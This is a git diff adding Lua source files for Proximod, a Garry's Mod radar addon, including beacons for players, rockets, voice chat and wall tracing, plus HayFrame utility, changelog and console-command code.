b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua @@ -0,0 +1,106 @@ +local BEACON = {} +BEACON.Name = "Players" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = true + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + self.myTexture = surface.GetTextureID( "proxi/beacon_square_8" ) + self.myTriangle = surface.GetTextureID( "proxi/beacon_triangle" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + self.zLocalPos = LocalPlayer():GetPos().z + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + Vector( 0, 0, 92 ), 10, 0.3, 1, Color( 255, 255, 255, 255 * cfP ) ) + render.DrawSprite( thisMathPool.conePos, 32, 32, Color( 255, 255, 255, 255 * cfAP ) ) //// + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + if ValidEntity( ent:GetRagdollEntity() ) then + render.DrawBeam( thisMathPool.posToProj, ent:GetRagdollEntity():GetPos(), 10, 0.2, 0.8, Color( 255, 255, 255, 255 * cfP ) ) + ent:GetRagdollEntity():DrawModel() + + else + ent:DrawModel() + + end + render.SetBlend( 1 ) + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + + local xRel, yRel = proxi:ConvertPosToRelative( thisMathPool.conePos ) + local x, y = proxi:ConvertRelativeToScreen( xRel, yRel ) + + local teamColor = team.GetColor( ent:Team() ) + local ratio = 1 + + local relZ = (ent:GetPos().z - self.zLocalPos) + local isShift = math.abs( relZ ) > 100 + local iSize = (isShift and 20 or 14) * proxi:GetPinScale() + if isShift then + surface.SetTexture( self.myTriangle ) + + else + surface.SetTexture( self.myTexture ) + + end + surface.SetDrawColor( teamColor ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, isShift and ((relZ > 0) and 0 or 180) or 45) //// + + + local text = tostring( ent:Nick() ) + surface.SetFont( "DefaultSmall" ) + + if (thisMathPool.ratioClamped ~= 1) or (ent:GetFriendStatus() == "friend") then + local wB, hB = surface.GetTextSize( text ) + x = x - xRel * wB / 2 + y = y - yRel * hB / 2 + hB - (yRel > 0 and (yRel ^ 4 * hB * 2) or 0) + + if ent == LocalPlayer() then + ratio = 1 - (1 - thisMathPool.ratioClamped) ^ 3 + teamColor.a = 255 * ratio + end + + else + text = string.sub( text, 1, 1 ) + + end + draw.SimpleText( text, "DefaultSmall", x + 1, y + 1, Color( 0, 0, 0, 128 * ratio ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( text, "DefaultSmall", x, y, teamColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + +end + +proxi.RegisterBeacon( BEACON, "players" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua new file mode 100644 index 0000000..2622447 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/rockets.lua @@ -0,0 +1,74 @@ +local BEACON = {} +BEACON.Name = "Rockets" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = true + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "rpg_missile" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + if not thisMathPool.tracedata then + thisMathPool.tracedata = {} + thisMathPool.tracedata.filter = ent + + thisMathPool.traceres = {} + + end + + thisMathPool.tracedata.start = thisMathPool.posToProj + thisMathPool.tracedata.endpos = thisMathPool.posToProj + ent:GetVelocity():Normalize() * 1024 + thisMathPool.traceres = util.TraceLine( thisMathPool.tracedata ) + + render.SetMaterial( self.myMaterial ) + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + ent:GetVelocity() * 2, 64, 0.5, 1, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj - ent:GetVelocity() * 0.5, 64, 0.5, 1, Color( 255, 0, 0, 128 ) ) + render.DrawSprite( thisMathPool.conePos, 256, 256, Color( 255, 0, 0, 255 ) ) //// + + for i=1,10 do + render.DrawBeam( thisMathPool.traceres.HitPos, thisMathPool.traceres.HitPos + VectorRand() * 256 + thisMathPool.traceres.HitNormal * 512, 32, 0.5, 1, Color( 255, 255, 0, 128 ) ) + end + render.DrawSprite( thisMathPool.traceres.HitPos, 256, 256, Color( 255, 255, 0, 255 ) ) //// + +end + +/* +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + if thisMathPool.ratioClamped == 1 then return end + + local pos = ent:GetPos() + local x,y = proxi:ConvertPosToScreen( pos, 0, 0.1 ) + draw.SimpleText( " " .. ent:GetClass(), "ScoreboardText", x, y, Color( 255, 255, 255, 255 * (1 - thisMathPool.ratioClamped ^ 5) ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + x,y = proxi:ConvertPosToScreen( thisMathPool.traceres.HitPos, 0, 0 ) + draw.SimpleText( " < EXPLOSION", "ScoreboardText", x, y, Color( 255, 255, 255, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER ) +end*/ + +proxi.RegisterBeacon( BEACON, "rockets" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua new file mode 100644 index 0000000..7abf532 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/voicechat.lua @@ -0,0 +1,75 @@ +local BEACON = {} +BEACON.HOOK = {} +BEACON.Name = "Voice Chat" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = surface.GetTextureID( "proxi/beacon_circle_add" ) + self.beaconTime = 1 + + self.myPlayerBase = {} + +end + + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end + +function BEACON:PerformMath( entity ) + if entity:IsSpeaking() then + if self.myPlayerBase[ entity ] == nil then + self.myPlayerBase[ entity ] = { false, {}, nil, nil, 0} + end + + if self.myPlayerBase[ entity ][ 5 ] < CurTime() then + self.myPlayerBase[ entity ][ 1 ] = true + self.myPlayerBase[ entity ][ 3 ] = entity:GetPos() + self.myPlayerBase[ entity ][ 4 ] = team.GetColor( entity:Team() ) + self.myPlayerBase[ entity ][ 5 ] = CurTime() + self.beaconTime + + end + + end + + local obj = self.myPlayerBase[ entity ] + if obj and obj[ 1 ] then + local thisMathPool = obj[ 2 ] + + proxi:ProjectPosition( thisMathPool, obj[ 3 ] ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + if obj[ 5 ] < CurTime() then + obj[ 1 ] = false + + end + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + local obj = self.myPlayerBase[ ent ] + if obj and obj[ 1 ] then + local thisMathPool = obj[ 2 ] + + local x, y = proxi:ConvertPosToScreen( thisMathPool.conePos ) + + obj[ 4 ].a = (1 - ((CurTime() - obj[ 5 ] + self.beaconTime) / self.beaconTime) ^ 2) * 128 + + local iSize = 24 * proxi:GetPinScale() * (1 + ((CurTime() - obj[ 5 ]) * 2) % 1) + surface.SetTexture( self.myMaterial ) + surface.SetDrawColor( obj[ 4 ] ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "voicechat" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua new file mode 100644 index 0000000..170df9b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinder.lua @@ -0,0 +1,89 @@ +local BEACON = {} +BEACON.Name = "Wallfinder 1st" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iTracesPerFrame = 3 + self.iGap = 1/3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 3 + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + +end + +function BEACON:PerformMath( ) + for iTraceNum = 1, self.iTracesPerFrame do + local CVD = proxi:GetCurrentViewData() + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceData.endpos = self.traceData.start + self.traceangle:Forward() * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + end + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + +end + +function BEACON:DrawUnderCircle( ) + for i = 1, self.iTracesPerFrame do + render.DrawBeam( self.traceData.start, self.traceData.start + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 64 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 64, 0, 1, Color( 192, 128, 255, 128 ) ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinder" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua new file mode 100644 index 0000000..249ddf5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierce.lua @@ -0,0 +1,113 @@ +local BEACON = {} +BEACON.Name = "Wallfinder with Piercer" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iPierceTimes = 2 + self.iTracesPerFrame = 3 + self.iGap = 1/3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 3 + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + +end + +function BEACON:PerformMath( ) + local numTracesPerformed = 0 + for iTraceNum = 1, self.iTracesPerFrame do + local CVD = proxi:GetCurrentViewData() + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceData.endpos = self.traceData.start + self.traceangle:Forward() * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.tWalls[ self.iWall ][3] = false + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + local pierceTime = 1 + while (pierceTime <= self.iPierceTimes) and self.traceRes.Hit do + self.traceData.start = self.traceRes.HitPos + self.traceangle:Forward() + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.tWalls[ self.iWall ][3] = true + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + end + + pierceTime = pierceTime + 1 + + end + + end + + //print( "Performed ".. numTracesPerformed .." traces this frame." ) + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + +end + +function BEACON:DrawUnderCircle( ) + /*for i = 1, self.iTracesPerFrame do + render.DrawBeam( self.traceData.start, self.traceData.start + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 64 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end*/ + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 64, 0, 1, self.tWalls[ i ][3] and Color( 255, 128, 192, 128 ) or Color( 192, 128, 255, 128 ) ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinderpierce" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua new file mode 100644 index 0000000..f88e0b5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/wallfinderpierceback.lua @@ -0,0 +1,154 @@ +local BEACON = {} +BEACON.Name = "Wallfinder with Traceback (Resource Intensive)" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.iPierceTimes = 2 + self.iTracesPerFrame = 5 + self.iGap = 1 / self.iTracesPerFrame + self.fRadMul = 0.2 + self.fRadDes = 0.2 + self.fFracMul = 3 + + self.iRevAngle = 0 + self.iRevolution = 120 + + self.tWalls = {} + self.iWall = 1 + self.iMaxWalls = self.iRevolution * 6 // MAX WALLS IS DOUBLED AS OPPOSED TO PIERCER + + self.vAdd = Vector( 0, 0, 0 ) + + for i = 1, self.iMaxWalls do + self.tWalls[ i ] = {} + + end + + self.traceData = {} + self.traceData.mask = CONTENTS_SOLID + self.traceData.filter = nil + self.traceangle = Angle( 0, 0, 0 ) + self.traceforward = Vector( 0, 0, 0 ) + self.radius = 0 + + self.traceRes = {} + + self.tracebackData = {} + self.tracebackData.mask = CONTENTS_SOLID + self.tracebackData.filter = nil + + self.tracebackRes = {} + + self.upNorm = Vector( 0, 0, 1 ) + + self.wallColors = { Color( 192, 128, 255, 128 ), Color( 255, 128, 192, 64 ), Color( 255, 255, 128, 16 ) } + +end + +function BEACON:PerformMath( ) + local numTracesPerformed = 0 + local CVD = proxi:GetCurrentViewData() + local zPos = CVD.referencepos.z + + self.vAdd.z = (proxi:GetVar("eyemod_override") > 0) and -48 or 0 + + for iTraceNum = 1, self.iTracesPerFrame do + + self.radius = CVD.radiuseval * 1.5 + self.traceData.start = CVD.referencepos + self.tracebackData.endpos = CVD.referencepos + self.traceangle.y = ( self.iRevAngle / self.iRevolution ) * 360 + self.traceforward = self.traceangle:Forward() + self.traceData.endpos = self.traceData.start + self.traceforward * self.radius + + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 1 + self.tWalls[ self.iWall ][4] = zPos + + -- Keep the following when something gets hit. + //self.iWall = self.iWall + 1 + //self.iWall = ((self.iWall - 1) % self.iMaxWalls) + 1 + // is equivalent to + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + local pierceTime = 1 + while (pierceTime <= self.iPierceTimes) and self.traceRes.Hit do + self.traceData.start = self.traceRes.HitPos + self.traceforward + self.traceRes = util.TraceLine( self.traceData ) + numTracesPerformed = numTracesPerformed + 1 + if self.traceRes.Hit then + local crossMul = self.traceRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.traceRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.traceRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 2 + self.tWalls[ self.iWall ][4] = zPos + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + self.tracebackData.start = self.traceRes.HitPos - self.traceforward + self.tracebackRes = util.TraceLine( self.tracebackData ) + numTracesPerformed = numTracesPerformed + 1 + if self.tracebackRes.Hit then // It should always hit something, otherwise it's weird... + local crossMul = self.tracebackRes.HitNormal:Cross( self.upNorm ) * self.radius * 0.1 * self.fRadMul * (1 + self.fRadDes * ( math.abs(self.traceforward:Dot( self.traceRes.HitNormal )) - 1 ) ) * (1 + self.traceRes.Fraction * self.fFracMul) + self.tWalls[ self.iWall ][1] = self.tracebackRes.HitPos + crossMul + self.vAdd + self.tWalls[ self.iWall ][2] = self.tracebackRes.HitPos - crossMul + self.vAdd + self.tWalls[ self.iWall ][3] = 3 + self.tWalls[ self.iWall ][4] = zPos + + self.iWall = (self.iWall % self.iMaxWalls) + 1 + + end + + end + + pierceTime = pierceTime + 1 + + end + + end + + //print( "Performed ".. numTracesPerformed .." traces this frame." ) + + --Keep the following at the end. + self.iRevAngle = self.iRevAngle + self.iRevolution * self.iGap + + end + + if math.abs(LocalPlayer():GetVelocity().z) < 32 then + self.iRevAngle = (self.iRevAngle + 1) % self.iRevolution + end + +end + +function BEACON:DrawUnderCircle( ) + local CVD = proxi:GetCurrentViewData() + for i = 1, self.iTracesPerFrame do + render.DrawBeam( CVD.referencepos, CVD.referencepos + self.traceangle:Forward() * self.radius, 64, 0.5, 1, Color( 192, 128, 255, 12 ) ) + self.traceangle.y = self.traceangle.y - (1 / self.iRevolution) - self.iGap * 360 + + end + + render.SetMaterial( self.myMaterial ) + for i = 1, self.iMaxWalls do + if self.tWalls[ i ][1] ~= nil then + --render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 32 * CVD.radiuseval / CVD.baseratio_nomargin / 8192, 0, 1, self.wallColors[ self.tWalls[ i ][3] ] ) + render.DrawBeam( self.tWalls[ i ][1], self.tWalls[ i ][2], 48, 0.3, 0.7, self.wallColors[ self.tWalls[ i ][3] ] ) + + end + + end + +end + +proxi.RegisterBeacon( BEACON, "wallfinderpierceback" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua new file mode 100644 index 0000000..67079d6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe__initializer.lua @@ -0,0 +1,40 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + + +local HAY_MAIN = proxi +local HAY_INTERNAL = proxi_internal +local HAY_CLOUD = proxi_cloud +local HAY_UTIL = proxi_util +local HAY_NAME = PROXI_NAME +local HAY_SHORT = PROXI_SHORT +local HAY_DEBUG = PROXI_DEBUG + +local HAY_LOCAL = {} +HAY_LOCAL.concmd_prefix = "proxi_" +HAY_LOCAL.var_prefix = "cl_proxi_" + + +//local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +//local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +function HAYFRAME_SetupReferences( ) + return HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL + +end + +function HAYFRAME_SetupConstants( ) + return HAY_NAME, HAY_SHORT, HAY_DEBUG + +end + +function HAYFRAME_SetupParameter( sParam ) + return HAY_LOCAL[ sParam ] + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua new file mode 100644 index 0000000..7a864f7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_changelog.lua @@ -0,0 +1,154 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Changelog // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +do + local PANEL = {} + + function PANEL:Init( ) + + end + + function PANEL:Compose( bToLocale ) + bToLocale = bToLocale or false + + local bCanGetVersion = HAY_INTERNAL ~= nil + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK + local ONLINE_VERSION_READ = -1 + if bCanGetVersion then + MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = HAY_INTERNAL.GetVersionData() + + if ONLINE_VERSION == -1 then + ONLINE_VERSION_READ = "" + + else + ONLINE_VERSION_READ = tostring( ONLINE_VERSION ) + + end + + end + + if ONLINE_VERSION and ONLINE_VERSION ~= -1 and HAY_INTERNAL.GetReplicate then + local myVer = MY_VERSION or 0 + + local contents = HAY_INTERNAL.GetReplicate() or ( tostring( MY_VERSION or 0 ) .. "\n" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView", self) + self.Contents = dList + dList:SetMultiSelect( false ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Type" ):SetMaxWidth( 60 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + local i = 1 + while (i <= #split) and not (bToLocale and gotMyVer) do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "Locale", "< Currently installed version >" ) + gotMyVer = true + + end + local nature = tonumber( split[i] ) + nature = (nature == nil) and "" or math.floor(nature*1000) % 10 > 0 and "Fix" or math.floor(nature*100) % 10 > 0 and "Feature" or "Release" + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", tostring(nature), split[i+1] or "" ) + myLine:SizeToContents() + + i = i + 2 + + end + + else + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "" ) + + end + + elseif not HAY_INTERNAL.GetReplicate then + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "Couldn't load changelog because your Locale version is too old." ) + + else + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "Couldn't load changelog because ".. tostring(HAY_NAME) .." failed to pickup information from the Cloud." ) + + end + end + + function PANEL:PerformLayout() + self.Contents:StretchToParent( 0, 0, 0, 0 ) + self.Contents:Center() + + end + + vgui.Register( HAY_SHORT .. "_ChangelogPanel", PANEL, "Panel" ) + +end + + +function HAY_MAIN:BuildChangelogWindow( ) + self:DestroyChangelog( ) + self.ChangelogPanel = vgui.Create( "DFrame" ) + + local window = self.ChangelogPanel + window:SetSize( ScrW() * 0.7, ScrH() * 0.7 ) + window:Center() + window:SetTitle( tostring(HAY_NAME) .. " - Changelog" ) + window:SetVisible( false ) + window:SetDraggable( true ) + window:ShowCloseButton( true ) + window:SetDeleteOnClose( false ) + window:SetSizable( true ) + + window.PerformLayout = function( self ) + self.Contents:StretchToParent( 4, 24, 4, 4 ) + self.Contents:AlignBottom( 4 ) + self.Contents:InvalidateLayout() + + end + + window.Contents = vgui.Create( HAY_SHORT .. "_ChangelogPanel", window ) + window.Contents:Compose( false ) + window:InvalidateLayout( true ) + + return window + +end + +function HAY_MAIN:ShowChangelog( ) + if not ValidPanel( self.ChangelogPanel ) then + self:BuildChangelogWindow( ) + + end + self.ChangelogPanel:MakePopup() + self.ChangelogPanel:SetVisible( true ) + +end + +function HAY_MAIN:HideChangelog( ) + if not ValidPanel( self.ChangelogPanel ) then return end + self.ChangelogPanel:SetVisible( false ) + +end + +function HAY_MAIN:DestroyChangelog( ) + if ValidPanel( self.ChangelogPanel ) then + self.ChangelogPanel:Remove() + self.ChangelogPanel = nil + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua new file mode 100644 index 0000000..938b112 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua @@ -0,0 +1,79 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Concommands RegMod // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_LOCAL_CONCMDPREFIX = HAYFRAME_SetupParameter( "concmd_prefix" ) + +function HAY_MAIN:CreateCmd( sCmdName, fCallback ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + concommand.Add( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName, fCallback ) + +end + +function HAY_MAIN:RemoveCmd( sCmdName ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + concommand.Remove( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName ) + +end + 